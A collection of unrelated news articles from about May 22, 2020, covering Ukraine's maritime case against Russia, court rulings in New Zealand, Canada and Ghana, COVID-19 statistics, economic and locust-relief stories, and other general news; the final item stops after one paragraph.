It is reported that the signing of the document took place today, May 22, during an online briefing. Further, the memorandum will be transferred to the UN International Tribunal.

"Today, as stipulated by the procedures of the tribunal, we transfer our detailed legal position to the Arbitration Tribunal. This document is called a memorandum. The facts, photos, evidence and legal position are all systematically and efficiently presented," Foreign Minister Dmytro Kuleba said.

He emphasized that Ukraine does not seek revenge on Russia, but seeks justice "by all available means."

"Russia must answer for violating the UN Convention on the Law of the Sea, for keeping our sailors in a Russian prison for nine months and for holding our ships for eleven months," the official stressed.

His deputy Yevhen Yenin said that the memorandum contains the legal position of Ukraine, which describes in detail what norms the Russian side violated, as well as a description of facts to confirm the legal position - testimonies of witnesses and experts.

The memorandum is a confidential document, therefore, it cannot name a specific amount of damage. However, Yenin called the structure of the harm done: the damage to the Navy for the repair of ships, the inability to use them for a year, as well as material and moral damage caused to sailors held in jail for more than 9 months.

As reported, on November 25, 2018, Russian security forces fired at and seized three ships of the Ukrainian Navy: Berdyansk, Nikopol and Yana Kapu tugboat, which were heading from Odesa to Mariupol. 24 Ukrainians were captured, three of them were injured.

Ukrainian sailors were able to return to Ukraine as a result of the exchange of prisoners with Russia in September 2019.
An aspiring jockey who became paralysed after falling from a racehorse has lost more than $100,000 in workplace reparations.

Sophia Malthus was 19 when she became quadriplegic due to damaging her C5 vertebrae after falling from a horse at work in Auckland, New Zealand in 2016.

She had 'limited experience' riding horses but her former employer, racehorse trainer Stephen John McKee, let her ride a working racehorse.

Ms Malthus eventually lost control of the animal, causing her to fall and severely injure her spine, leaving her wheelchair-bound for the rest of her life.

Mr McKee pleaded guilty to failing to ensure the Ms Maltus' safety and was made to pay $262,000 (AU$244,472) in consequential loss reparations at Auckland District Court last year.

But Mr McKee appealed the decision and Sophia's reparations were slashed by $106,000 (AU$98,908) down to $156,000 (AU$145,564) at the Auckland High Court on May 15.

Sophia Malthus' consequential loss reparations were slashed by $106,000 last week. She was just 19 when when she became quadriplegic due to damaging her C5 vertebrae after falling from a horse at work in Auckland, New Zealand in 2016

Ms Malthus had ambitions to become a jockey when she was hired by Mr McKee as a stable hand in July 2016

She attended a riding course at an equestrian centre in November 2016 but overall has 'limited experience riding and caring for horses'.

Her riding instructors advised her to gain experience on quiet horses as she lacked the strength and training to ride an average racehorse or a young horse.

Mr McKee did not contact the equestrian centre and had never seen Ms Malthus ride before he let her ride a working racehorse, a three-year-old thoroughbred, on November 29, 2016

Ms Malthus eventually lost control of the horse, which sped up and bolted straight for the perimeter fence.

The aspiring jockey fell off the horse and broke her C5 vertebrae after either hitting the fence or being struck by one of the horse's hooves.

She has been quadriplegic ever since the accident and is now 22 years old.

Ms Malthus' (pictured left, with her boyfriend) former employer Stephen John McKee was ordered to pay $262,000 in reparations for consequential loss last year. The amount was reduced to $156,000 at the Auckland High Court on May 15

Ms Malthus riding a horse prior to her life-changing accident. Mr McKee pleaded guilty to a charge of failing to ensure the safety of one of his employees after he let Ms Malthus ride on a working racehorse, something she was not experienced enough to do

Mr McKee pleaded guilty to a charge of failing to ensure the safety of one of his employees, Ms Malthus, at the Auckland District Court in November 2018.

In his sentencing last year, Mr McKee was ordered to pay $262,000 (AU$244,472) in consequential loss reparation and $110,000 (AU$102,641) for emotional harm reparation to Ms Malthus, a total of $372,000 (AU$347,113).

He was also fined $30,000 (AU$27,993) and ordered to pay $3000 (AU$2,799) in court costs, bringing his total bill to $405,000 (AU$377,905).

The horse trainer, with 31 years of experience, appealed the decision on grounds that the reparations were 'manifestly excessive'.

'The consequential loss was incorrectly calculated because it did not reflect Ms Malthus' actual earnings,' Mr McKee argued, according to a High Court document.

When Ms Malthus' reparations were calculated last year, her 37-hour working week was rounded up to the adult minimum wage for a 40-hour week.

Ms Malthouse lies on the ground after falling from the horse on November 29, 2016. She broke her C5 vertebrae and has been quadriplegic ever since

Ms Malthus in hospital with her mother after her accident in November 2016. At the time of her accident, Ms Malthus was 19 but she is now 23

Last Friday, High Court judge Grant Powell ruled that 'Ms Malthus' actual earnings were incorrectly calculated, and this resulted in a manifestly excessive sentence'.

'The reparation for consequential loss in relation to earnings is adjusted to $156,000 to reflect Ms Malthus actual income at the date of her injury,' the final decision read.

Combined with the emotional harm reparations, which remain unchanged, Ms Malthus will now receive $266,000 (AU$248,204) in total.

Despite her experience, Ms Malthus still likes to spend time with horses and at races.

She inspires her 12,000 Instagram followers with life updates and modelled at New Zealand fashion week last year, advocating for more diversity in the industry.
There's no doubt that money can be made by owning shares of unprofitable businesses. By way of example, L & A International Holdings (HKG:8195) has seen its share price rise 181% over the last year, delighting many shareholders. But while the successes are well known, investors should not ignore the very many unprofitable companies that simply burn through all their cash and collapse.

So notwithstanding the buoyant share price, we think it's well worth asking whether L & A International Holdings's cash burn is too risky In this report, we will consider the company's annual negative free cash flow, henceforth referring to it as the 'cash burn'. Let's start with an examination of the business's cash, relative to its cash burn.

See our latest analysis for L & A International Holdings

How Long Is L & A International Holdings's Cash Runway?

A company's cash runway is calculated by dividing its cash hoard by its cash burn. L & A International Holdings has such a small amount of debt that we'll set it aside, and focus on the HK$16m in cash it held at September 2019. Importantly, its cash burn was HK$35m over the trailing twelve months. That means it had a cash runway of around 5 months as of September 2019. That's a very short cash runway which indicates an imminent need to douse the cash burn or find more funding. The image below shows how its cash balance has been changing over the last few years.

SEHK:8195 Historical Debt May 22nd 2020

How Well Is L & A International Holdings Growing?

Notably, L & A International Holdings actually ramped up its cash burn very hard and fast in the last year, by 126%, signifying heavy investment in the business. On top of that, the fact that operating revenue was basically flat over the same period compounds the concern. Considering both these metrics, we're a little concerned about how the company is developing. In reality, this article only makes a short study of the company's growth data. You can take a look at how L & A International Holdings has developed its business over time by checking this visualization of its revenue and earnings history.

Story continues

Can L & A International Holdings Raise More Cash Easily?

Given the trajectory of L & A International Holdings's cash burn, many investors will already be thinking about how it might raise more cash in the future. Issuing new shares, or taking on debt, are the most common ways for a listed company to raise more money for its business. Commonly, a business will sell new shares in itself to raise cash to drive growth. We can compare a company's cash burn to its market capitalisation to get a sense for how many new shares a company would have to issue to fund one year's operations.

L & A International Holdings's cash burn of HK$35m is about 15% of its HK$241m market capitalisation. As a result, we'd venture that the company could raise more cash for growth without much trouble, albeit at the cost of some dilution.

Is L & A International Holdings's Cash Burn A Worry?

On this analysis of L & A International Holdings's cash burn, we think its cash burn relative to its market cap was reassuring, while its cash runway has us a bit worried. Considering all the measures mentioned in this report, we reckon that its cash burn is fairly risky, and if we held shares we'd be watching like a hawk for any deterioration. On another note, L & A International Holdings has 4 warning signs (and 2 which are potentially serious) we think you should know about.

Of course, you might find a fantastic investment by looking elsewhere. So take a peek at this free list of interesting companies, and this list of stocks growth stocks (according to analyst forecasts)

Love or hate this article? Concerned about the content? Get in touch with us directly. Alternatively, email editorial-team@simplywallst.com.



This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. We aim to bring you long-term focused analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Simply Wall St has no position in any stocks mentioned. Thank you for reading.
Source: Xinhua| 2020-05-22 02:55:55|Editor: huaxia

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A policeman patrols at the seaside in southern France's Cannes, May 21, 2020. France on Thursday saw the death toll from the coronavirus increasing to 28,215 with 83 new deaths in the last 24 hours, lower than Wednesday's 110, according to figures released by the country's Health Ministry. As of Thursday, 318 new positive cases were detected, bringing the total of confirmed cases to 144,163. (Photo by Serge Haouzi/Xinhua)

PARIS, May 21 (Xinhua) -- France on Thursday saw the death toll from the coronavirus increasing to 28,215 with 83 new deaths in the last 24 hours, lower than Wednesday's 110, according to figures released by the country's Health Ministry.

Fatalities recorded in hospitals rose by 58 to 17,870, while 25 succumbed to COVID-19 at nursing homes, bringing the total to 10,345.

In a sign that pressure on the French hospital system continued to ease, the number of people hospitalized with coronavirus infection declined by 358 to 17,583. Some 1,745 patients were in critical condition requiring life support, down by 49 in the last 24 hours.

As of Thursday, 318 new positive cases were detected, bringing the total of confirmed cases to 144,163, while a total of 63,858 patients had been discharged from hospital after recovery, a single day increase of 504.

"It is our ability to respect all good behavior that conditions the epidemic speed: protect ourselves, protect our loved ones, help health staff to break the chain of contamination by facilitating the strategy of testing, finding contact persons and isolation," the ministry said in a statement.
(Natural News) Some astronomers believe that extraterrestrial beings are using extremely powerful flashlights to try and get humanitys attention. If these supposedly advanced aliens are doing that, Earth finally has a way to find out with the help of the Very Energetic Radiation Imaging Telescope Array System (VERITAS), a collection of four telescopes, each 40 feet across, located at the Fred Lawrence Whipple Observatory in Arizona.

VERITAS will be handled by Breakthrough Listen, one of the worlds largest and most well-funded programs involved in the search for extraterrestrial intelligence (SETI).

Since SETI programs began popping up all across the globe, scientists have attempted to use radio to listen at stars. However, some believe that the reason humanity hasnt heard anything back is because they may not be using radio waves to get the Earths attention. These intelligent beings may be using other forms of technology to communicate. With the help of VERITAS, astronomers will be able to look out for signs of laser beams.

When it comes to intelligent life beyond Earth, we dont know where it exists or how it communicates, said Yuri Milner, an Israeli-Russian billionaire, science philanthropist and particle physicist who also founded Breakthrough Listen.

So our philosophy is to look in as many places, and in as many ways, as we can. VERITAS expands our range of observations even further. (Related: Chief scientist of NASA now pre-warning Earthlings that life exists on Mars and will be announced in the next two years but warns Earth isnt ready for the bombshell.)

Looking for laser beams

With the help of VERITAS, astronomers will scan the sky for flashes of light from nearby stars. These flashes can last mere nanoseconds, but these brief pulses of optical light could indicate a method of communication from advanced extraterrestrial civilizations.

These signals are known as fast optical pulses and, according to Andrew Siemion, the director of Berkeleys SETI Research Center, they are a new class of signals that extraterrestrials may be emitting.

According to Siemion, NASA has already used optical communication to transmit images of Earth from the moon. This means that, if there is an extraterrestrial civilization out there that has the same level of technology as humanity, they may be doing the same thing only in a scaled-up version for interstellar communication.

This isnt the first time VERITAS has been called up to join the worldwide effort to hunt for signs of extraterrestrial life. In 2016, scientists used archival data from VERITAS to look at Tabbys Star, a star with peculiar and unexplained light fluctuations. Some scientists have speculated that the mysterious dimming may be due to an alien megastructure blocking the light, causing the stars brightness to decrease by up to 22 percent.

The VERITAS telescopes were chosen by Breakthrough Listen for their exceptional ability to detect and pinpoint short-lived flashes of light in the galaxy.

The most powerful lasers on Earth can deliver around 500 terawatts of light in a fraction of a second. Breakthrough Listen has a list of around one million stars where they can prioritize their observations, many of which are 10 to 100 times closer to Earth than Tabbys Star. This means that, with the help of VERITAS, the Breakthrough Listen team should be able to see a flash from a laser beam that is 100 to 10,000 times fainter than what Earth can produce.

If the Breakthrough Listen teams hypothesis is correct and there is an advanced extraterrestrial civilization out there trying to contact Earth, its only a matter of time before humanity receives the message.

Sources include:

LiveScience.com

Astronomy.com

EarthSky.org

ScienceAlert.com
The Conservative Party of Canada has kicked Cambridge lawyer and gadfly Jim Karahalios out of the federal leadership race  again.

Karahalios, who is married to Conservative MPP Belinda Karahalios, was kicked out from the leadership race in March after his campaign sent out an email that criticized the campaign chair of one of his rivals, Erin OToole.

He fought that decision in court, and recently won a partial victory when the Ontario Superior Court threw out that disqualification, saying only the partys Leadership Election Organizing Committee (LEOC) was able to disqualify leadership hopefuls.

The party then issued a statement saying the leadership organizing committee had decided to disqualify Karahalios.

With that guidance in mind, and after a thoughtful meeting to deliberate the circumstances around the Chief Returning Officers decision in regards to Mr. Karahalios conduct, the LEOC has determined that Mr. Karahalios will be disqualified from the Leadership election.

The move leaves four candidates in the running for the leaders job: former ministers OToole and Peter MacKay, backbencher Derek Sloan and Leslyn Lewis, who ran and lost in the 2015 election. Party members will choose the new leader by mail-in vote, sending ballots in by Aug. 21.
Manitobas highest court has reduced the prison sentence for a Winnipeg woman who stabbed a man to death after mistakenly believing he had molested her son.

Hey there, time traveller!

This article was published 22/5/2020 (607 days ago), so information in it may no longer be current.

Manitobas highest court has reduced the prison sentence for a Winnipeg woman who stabbed a man to death after mistakenly believing he had molested her son.

The 42-year-old woman  who the Free Press is not naming to protect the identity of her son  was found guilty of manslaughter following a jury trial in 2018. She was sentenced to 10 years in prison.

In a written decision released Thursday, the Manitoba Court of Appeal reduced the sentence to seven years, ruling the sentencing judge erred in assessing her moral culpability as high, while not properly considering her personal background, intoxication, and elements of provocation.

Gladue principles require Canadian courts to take into consideration the circumstances and background of Indigenous offenders at the time of sentencing.

While the sentencing judge "correctly stated that the Gladue factors were mitigating, I see no evidence in his reasoning that he addressed these factors in the context of their impact on the accuseds moral culpability," Justice Barbara Hamilton wrote on behalf of the appeal court.

"The Gladue factors here called for such an assessment," Hamilton said. "The accuseds dysfunctional upbringing of alcohol abuse, sexual abuse and domestic violence provided important context to understand her actions when assessing her moral blameworthiness."

Frederick Bird died March 8, 2016, after he was stabbed four times in the chest with a kitchen knife.

Jurors heard testimony at trial a male friend brought Bird to the womans home that afternoon, and the three socialized and drank whisky.

The male friend testified he was on his way upstairs to use the washroom when he heard the woman say to her son: "Did he touch you?" to which the boy replied, "Yeah."

When the man returned to the living room he saw the woman stabbing Bird, as he denied touching the boy.

The man said when the violence was over, the boy told his mother: "I was just kidding." The woman replied: "Oh, mommys going to be gone for a while."

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In her own testimony, the woman claimed she saw Birds hand under a blanket, moving up and down near the boys genital area. She said she went to the kitchen for a knife, returned and asked the boy if Bird had touched him.

When he replied yes, "I remember my arm going up and then I blacked out."

The woman denied hearing her son say he was "just kidding."

The sentencing judge did not accept the womans version of events, ruling if she had seen what she said she did, she would have immediately confronted Bird.

"I find that due to her intoxication, (the accused) erroneously thought that Mr. Bird was assaulting her child," the judge said at sentencing. "I want the record to be clear, as far as this court is concerned, (the accused) killed an innocent man."

dean.pritchard@freepress.mb.ca
Reserve Bank of India (RBI) Governor Shaktikanta Das will address a press conference today at 10 am. This will be the third presser by the central banks's chief on coronavirus-related financial measures in last two months after the first such address was made on March 27 and the second on April 17.

The RBI governor has announced a series of measures to ease liquidity pressure in the banking system and cushion the blow of Covid-19. These included a sharp 75 basis points rate cut in March and liquidity measures worth at least Rs 5 lakh crore in two rounds. The RBI has also announced a three-month moratorium for all term loan repayments between March 1 and May 31.

What to expect today?

There is a widespread expectation that the governor may announce an extension of the loan moratorium for term loans for a few more months in the backdrop of extension of the nationwide lockdown till May 31. Industries have been demanding extension of the moratorium facility for another three months. This will help companies, severely hit by the lockdown, to not miss the payments to banks.

Secondly, the governor could announce the continuation of the liquidity support measures for banks to lend to non-banking finance companies and small industrial units in view of the prolonged stress in the economy.

RBI's former deputy governor HR Khan, however, told CNBC-TV18 that the extension of the moratorium facility will only lead to accumulation of interest payment. He also did not rule out RBI opting for direct monetisation - printing more money in exchange for government bonds.

The governor may also comment on the recent economic package announced by the government to counter the COVID-19 impact in the economy. As part of the COVID-19 economic package, the Narendra Modi-led government has announced a series of loan schemes, some backed by government guarantees to small industrial units and non-banking finance companies (NBFCs).

These include a Rs 3 lakh crore economic package for micro, small and medium enterprises (MSMEs), Rs 75,000 crore of loans to NBFCs (of which Rs 30,000 crore is a three-month loan scheme fully backed by the government), Rs 5,000 crore for street vendors and Rs 2 lakh crore concessional credit to farmers.

Of the Rs 20 lakh crore package, the direct spending is only about one percentage of GDP, the rest include loans through various banking channels and development institutions.
Founder of the defunct Capital Bank, William Ato Essien who is facing trial over the collapsed of the bank has expressed his willingness and readiness to refund GHC27.5 million back to the State.

Essien expressed this through his lawyers when the matter came up at an Accra High Court on Thursday.

The GHC 27.5 million carted in jute sacks popularly called 'Ghana Must Go' represented the amount the state had accused the former Managing Director of using as business promotion and allegedly dole out to some people.

Mr Baffour Gyewu Bonsu who represented Essien said his client had already paid GHC1.4 million of the GHC27.5 million to the state.

Mr Gyewu Bonsu said discussions were ongoing with the state and prayed the court to adjourn the matter for continuation of the said discussions.

A Chief State Attorney, Mariana Appiah Oppong, intimated to the court that Essien's lawyers had informed her about their intent.

According to her, it was important that the lawyers bring a detailed proposal to the Director of Public Prosecutions (DPP) and after a review by the DPP, a decision would be taken on whether or not to accept their proposal.

Justice Eric Kyei-Baffour, a Court of Appeal Judge sitting with additional responsibility as a High Court Judge gave Essien's Lawyers a month to send their proposal to the DPP.

Essien, is standing trial with Fitzgerald Odonkor, Managing Director of the bank, and two other persons namely Tettey Nettey, Managing Director of MC Management Services, a company said to be owned by Essien, and Kate Quartey-Papafio, a businesswoman and Managing Director of Reroy Cables Company Limited over the collapse of Capital Bank.

The four accused are said to have engaged in various illegal acts that led to the dissipation of the over GHC620 million liquidity support given to Capital Bank by the Bank of Ghana between June 2015 and November 2016.

The accused who have been variously been charged with stealing, abetment to stealing, conspiracy to steal and money laundering have denied the offences.

Prosecution, said Essien, with Odonkor's help, transferred the liquidity support to certain companies either controlled by him or in which he had interest.

According to the prosecution, GHC130 million of the liquidity support was transferred to MC Management Services, which was later presented to the BoG as the initial capital to set up Sovereign Bank, another bank in which Essien had an interest.

The prosecution further alleged that between June and October 2015, Essien, aided by Odonkor, appropriated GHC 27.5 million of the liquidity support by carrying the moneys away in jute bags.

Prosecution alleged that Essien gave out some liquidity support to his cronies in the form of loans to be used to buy shares in Capital Bank.

With regard to Quartey-Papafio, the prosecution held that as part of the scheme to further dissipate the GHC 620 million liquidity support, Essien transferred GHC70 million of the money into Quartey-Papafio's bank account at Cal Bank.

The prosecution further accused Quartey-Papafio of trying to withdraw the money in the year 2017, even though she was aware that Capital Bank had collapsed and was in receivership.

The Prosecution said the withdrawals was however, prevented by the receivers of Capital Bank.

---
Source: Xinhua| 2020-05-22 05:28:30|Editor: huaxia

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ADEN, Yemen, May 21 (Xinhua) -- The total number of COVID-19 cases in Yemen's government-controlled areas increased to 193 on Thursday, as 13 new cases were confirmed.

The Yemeni Health Ministry said in a brief statement that the number of recoveries in the government-controlled areas increased to five since the outbreak of the novel coronavirus on April 10.

Also, the government announced four more deaths from the deadly respiratory disease, bringing the death toll in the areas under its control to 33.

The Yemeni government has taken several measures to contain the outbreak of COVID-19, including imposing a partial overnight curfew in Aden and other major cities under its control.

The government called on donors and relevant international humanitarian organizations to provide support to help contain the pandemic.

The Houthi health authorities in the capital Sanaa declared on May 16 that a total of four COVID-19 cases were recorded in the Houthi-controlled areas in northern Yemen, including one death.

Yemen has been mired in a civil war since late 2014, when the Iran-backed Houthi group seized control of much of the country's north and forced the internationally-recognized government of President Abd-Rabbu Mansour Hadi out of Sanaa. Enditem
BAKU, Azerbaijan, May 22

By Tamilla Mammadova  Trend:

Tourists entering Georgia may be obliged to show documents that they tested negative for COVID-19 with polymerase chain reaction (PCR) tests in the past 72 hours before arriving in the country, said Head of the Georgian National Center for Disease Control Amiran Gamkrelidze, Trend reports citing Georgian media.

Gamkrelidze said that the country will accept tourists from countries where the rate of infection is relatively low.

"The spread of infection in Georgia is low, so the tourism potential is strong, said Gamkrelidze.

He noted that tourists may have to abide by several conditions when entering and moving about in the country.

"These conditions should not be so strict as to make people refuse to come to the country. Our citizens might go abroad in the summer; therefore, these conditions should be based on mutual agreement, said Gamkrelidze.

Meanwhile, the country will resume domestic tourism starting June 15 and will receive international tourists starting July 1.

The authorities are now negotiating with partners to open safe tourist corridors. Negotiations are underway with Israel, Czechia, the Baltic countries, Greece and other countries.

---

Follow the author on Twitter: @Mila61979356
Vladimir Bardoshi, pictured, is the third member of a human trafficking gang to be jailed for smuggling migrants across the English Channel

The leader of a people smuggling gang bringing illegal migrants into the UK on a dinghy has been jailed.

Vladimir Bardoshi was the third member of the group of traffickers to be convicted after he was handed a nine-year prison sentence this week.

The 36-year-old from Albania was part of a network that transported illegal migrants from France in small inflatable boats, police said.

They made the treacherous journey by travelling across the English Channel at night and landing on beaches near to Deal in Kent.

A European Arrest Warrant was issued for Bardoshi, who co-ordinated the operation, initially in the UK before moving to Europe.

Bardoshi was tacked down in Spain in January and extradited back to the UK.

Last month he pleaded guilty to conspiracy to do an act to facilitate the commission of a breach of UK immigration law by a non-EU person.

His arrest warrant was issued following the conviction of two his associates, Feim Vata, 38, and Xhemal Baco, 26, in 2018, that saw each jailed for eight years.

Bardoshi's gang used this dingy to smuggle migrants from France across the English Channel

It is thought that Baco and Vata completed the trip across the Channel at least three times and, whenever they needed to abandon the boat, would simply buy a new one with cash using false names.

One night in October 2018, Baco picked up six Albanian illegal migrants in France, with Baco driving the small inflatable boat across the English Channel.

When they arrived at the shore near Deal, Baco hid the boat in some bushes and he and the migrants got in a vehicle driven by Vata, before they were arrested by officers.

At Canterbury Crown Court on Tuesday, Bardoshi was jailed for nine years.

The final conviction follows months of investigation, led by South East Regional Organised Crime Unit (SEROCU) and helped by Kent Police, the National Crime Agency, UK Border Force, French Police, French Navy, National Maritime Information Centre, Immigration Enforcement and Thames Valley Police.

Detective Inspector Clair Trueman, from SEROCU's investigation team, said: 'This conviction represents a huge amount of work by authorities both here in the UK and across Europe. I'd like to pay tribute to the tenacity of everyone involved in this investigation, as their efforts have ensured that the leader of this dangerous group has been jailed.

'When the men and the illegal migrants were arrested, we found them cold and wet, they had travelled in an overloaded inflatable boat with no life vests or navigation equipment and across a busy shipping lane in total darkness. It is remarkable that no one died during the extremely risky process.

'I hope that this sentence serves as a stark warning to those looking to put lives in danger by bringing people into the UK illegally. We are committed to apprehending those involved and will do everything in our power to ensure they are stopped.'
The World Bank approved $500 million (U.S.) to help fight the worst desert-locust plague in decades thats threatening food security in parts of Africa and the Middle East.

Countries including Ethiopia Kenya, Uganda, Somalia and Yemen face a second wave of swarms from June. Failure to combat the pests in the Horn of Africa and Yemen could result in crop and livestock losses of as much as $8.5 billion by year-end, according to the World Bank. The lender estimates the intervention could limit the damage to $2.5 billion.

Anxiety over the swarms, which can quickly lay waste to vast swaths of crops, grew as the coronavirus pandemic emerged and decimated economies, further stretching governments.

This food-supply emergency combined with the pandemic and economic shutdown in advanced economies places some of the worlds poorest and most vulnerable people at even greater risk, the World Banks president David Malpass said in a statement Thursday.

More than 22.5 million people are already facing hunger in Eastern Africa, according to the United Nations Office for the Coordination of Humanitarian Affairs. A second wave of locust swarms  expected in June when farmers in the region prepare to harvest their crops  could worsen food insecurity and put more people at the risk of losing their livelihoods, the Food and Agriculture Organization warned last week.

There could even be a third wave, according to the Intergovernmental Authority on Development, a regional organization whose members include Ethiopia, Somalia and Uganda. We need at least 100 aircraft on standby in the region to decimate or eradicate this menace, IGAD executive secretary Workneh Gebeyehu said Thursday during a meeting with the FAO. The region has only 13 aircraft now.

Ethiopia, Uganda, Kenya and Djibouti will access $160 million in the first phase of the so-called emergency locust-response program from the International Development Association, the World Banks concessional lending arm for poor countries. The funds will help curb the invasion, provide farm inputs and other forms of relief to the most affected and improve preparedness to respond in future, according to the lender.

Unusual weather patterns, which boosted vegetation over parts of the Horn of Africa and the Arab peninsula from last year, saw the pests fly southwards, creating an unprecedented threat to food security.

Below is how the funds will be disbursed:

Ethiopia will get $63 million, half of which is a grant, to partly provide seeds, fertilizer and livestock feed

In Uganda, $48 million will help create employment programs and activities to boost resilience including the conservation of water and soil

Kenya, facing the worst locust invasion in 70 years, will receive $43 million mainly for grants to pastoral households and to help farmers rehabilitate crop and livestock systems disrupted by the pests

Djiboutis $6 million will partly go to households in cash transfers
San Francisco, May 22 : In a bizarre incident, a beauty store worker in San Jose who never heard of Tesla and SpaceX CEO Elon Musk suddenly started receiving calls and text messages meant for Musk one day.

Reason: that US telecom major AT&T randomly reassigned Musk's old number to Lyndsay Tucker, a 25-year-old skin care consultant, who had to assure her bosses that she does not work for Musk or any of his firms, reports NPR.

"I asked my mom, 'Hey, I keep getting these text messages' - and I was also now starting to get phone calls - 'for this guy Elon Musk. I don't know who this is. And my mom's jaw just dropped," said Tucker who works at a Sephora beauty store in San Jose, California.

On any given day, she receives at least three calls or texts intended for Musk, whom she has never met.

When Musk came to know about this as NPR sent him an email, he said: "Wow! That number is so old! I'm surprised it's still out there somewhere".

A South African businessman asked Tucker about buying 1,000 trucks while the Internal Revenue Service (IRS) called about a complicated tax issue.

"I assumed I had messed something up. It was a huge relief they weren't looking for me," Tucker was quoted as saying.

Even former Walt Disney executive John Lasseter texted her about the Tesla he bought, calling it a "magnificent car".

"I actually ended up going to the same college as his (Lasseter) son," Tucker said.

One guy decided to text "Musk" directly to find out "how I can purchase that ATV you showed off during the CyberTruck reveal".

Tucker responded: "Sorry buddy this isn't Elon Musk's number and isn't in any way affiliated with him".

Jeff Gold, an Atlanta-area inventor, who did business with Musk in the 1990s, recently sent a text about some new coronavirus research.

After Musk got rid of his old phone number, AT&T randomly reassigned it to Tucker.

Tucker, who is also an aspiring actress, has decided to keep the phone number.

"I'm sorry. Sometimes I don't respond if I'm having a rough day. So if you didn't get a response, it's probably me, not him," she said.

"Don't feel too let down".
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Sri Lanka: Adverse weather sweeps away 30 Sri Lankan fishing vessels in to Indonesian Sea

May 22,2020 | Source: Colombo Page

Thirty multi-fishing day trawlers have been swept away in to Indonesias coastal waters due to inclement weather in Bay of Bengal, the Fisheries Department said. It has been reported that there are 180 fishermen on board the vessels and they were not harmed.



The Fisheries Department has taken measures to inform the Indonesian and Nicobar Islands authorities as well as the Indian authorities about the fishermen. The fishermen are scheduled to arrive in Sri Lanka after the weather conditions improve. The Fisheries Department added that measures would be taken to rescue them if necessary.
A t the end of a long month of fasting during daylight hours, Muslims worldwide traditionally come together for vibrant Eid al-Fitr celebrations with friends and family.

The festivities last three days and are a significant point in the calendar for the worlds 1.8 billion people of the Muslim faith. People usually celebrate by travelling, visiting family and gathering for lavish meals after communal prayers in mosques. The holiday will begin on Saturday or Sunday, depending on the sighting of the new moon.

But with coronavirus restrictions on movement and public gatherings in place across most of the globe, this year millions of celebrants will find themselves confined to their homes for the festival.

And during a time usually associated with shopping and celebration, many will also be finding themselves gripped by economic worries created by the pandemic.

Some countries, including Turkey, Iraq and Jordan, will impose round-the-clock curfews for the duration of the holiday, and in Saudi Arabia - home to the holy cities of Mecca and Medina - people will only be allowed to leave their homes to buy food and medicine.

In the UK, earlier this week the Muslim Council of Britain - an umbrella organisation of various UK Muslim bodies - said people should celebrate Eid at home and virtually.

People usually celebrate by travelling, visiting family and gathering for lavish meals after communal prayers in mosques / AFP via Getty Images

Celebrities including Great British Bake Off winner Nadiya Hussain and Citizen Khan creator Adil Ray have urged fellow Muslims to follow social distancing guidelines.

In a video posted online, Hussain says "now could not be a better time to put others first", while Ray adds: "This year, we can stay home, save lives and give consideration to others. What a wonderful Eid gift that would be."

In Indonesia many people appeared to flout social distancing rules to purchase goods ahead of the special weekend / AFP via Getty Images

Former Blue Peter presenter Konnie Huq, who also appears in the video, says: "By following the guidance we are helping to protect not just ourselves but also our families."

In some countries where restrictions are in place, they are not being followed by locals. Streets were packing in Indonesia today as many flouted social distancing rules to purchase goods ahead of the special weekend.

But even in countries that have largely reopened, the holiday will not be the same.

Most restrictions have been lifted in Jerusalem, but the Al-Aqsa mosque compound, the third holiest site in Islam, will remain closed until after the holiday.

Shopkeepers in the Old City, which has been emptied of tourists and pilgrims since March, are reeling from the effects of six weeks of lockdown.

The Jafar familys famous sweets shop in the Old City is normally a hive of activity, with tourists and locals enjoying knafeh, a syrupy cheese-filled pastry.

These days the seating area is empty and dark as only takeout is allowed.

It had a huge impact on us, said Ali Jafar, one of the owners, as he worked the counter.

He said business has dropped by more than two thirds, forcing them to lay off 10 workers.

In Egypt, authorities have extended the nighttime curfew, which will now begin at 5pm instead of 9pm, and halted public transportation until May 29.

Socially distanced prayers are currently taking place all around the world / AFP via Getty Images

Shopping centres, beaches and parks, which would ordinarily be packed, will be closed.

Manal Zakaria, who lives in the city of Alexandria on the Mediterranean coast, said her family usually celebrates by gathering for big meals, singing, dancing and taking group photos.

I am very, very, very sad because I will not be seeing my siblings and their children, she said.

No matter how much we talk over the phone, there is nothing like coming together.
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The Detroit police on Thursday arrested a 20-year-old man in connection with a viral video that showed an assault on a patient at a nursing home, the authorities said.

The 90-second video, which circulated widely on social media this week, shows a young man punching a much older man dozens of times, leaving him battered and bleeding.

The police did not identify either person in the case, but said on Friday that both the younger man and the victim, 75, were patients at a facility on Detroits west side.

The incident occurred on May 15, the police said, and the victim was taken to a hospital where he was treated for injuries that were not life threatening.
BAKU, Azerbaijan, May 22

By Rufiz Hafizoglu - Trend:

Forty-two companies with Azerbaijani capital were registered in Turkey from January through April 2020, which is by 35 companies less than in the same period of 2019, Union of Chambers and Commodity Exchanges of Turkey (TOBB) told Trend on May 22.

During the reporting period, the total capital of Azerbaijani companies registered in Turkey amounted to over 5.2 million liras ($770 million), as compared to over 11.7 million liras ($1.73 million) in the same period of last year.

In the first four months of 2020, most of the Azerbaijani companies were registered in Istanbul (35 companies) with a total capital of slightly over 4 million liras ($600,000).

Four of the companies were industrial companies, two were construction companies, 19 were engaged in wholesale and retail trade, while two companies were operating in the sphere of tourism, and two in real estate.

"The remaining thirteen companies with Azerbaijani capital operate in other sectors of economy," TOBB said.

The total capital of 19 companies operating in the wholesale and retail trade registered during the reporting period surpassed 2.8 million liras ($420,000), according to TOBB.

Some 184 companies with Azerbaijani capital were registered in Turkey in 2019, which was one company more compared to 2018. The total capital of Azerbaijani companies registered in Turkey amounted to 30.1 million liras ($4.4 million). This indicator amounted to 52.9 million liras ($7.7 million) during 2018.

Most of Azerbaijani companies (152 companies) were registered in Istanbul, with the total capital of 28.9 million liras ($4.2 million).

From January through December 2019, four mining companies, 17 industrial, 15 construction, 88 companies in the wholesale and retail trade, 11 tourism, and two insurance companies with Azerbaijani capital were registered in Turkey.

The remaining 47 companies with Azerbaijani capital were involved in other sectors of the economy.

The total capital of 88 wholesale and retail companies exceeded 12.2 million liras ($1.8 million).

(1 USD = 6.79 TL on May 22)

---

Follow the author on Twitter: @rhafizoglu
Pakistan on Friday said that its debt in the multi-billion dollar CPEC-related projects is just 10 per cent of the total public debts, days after a top US official called on China to release countries like Pakistan from predatory loans.

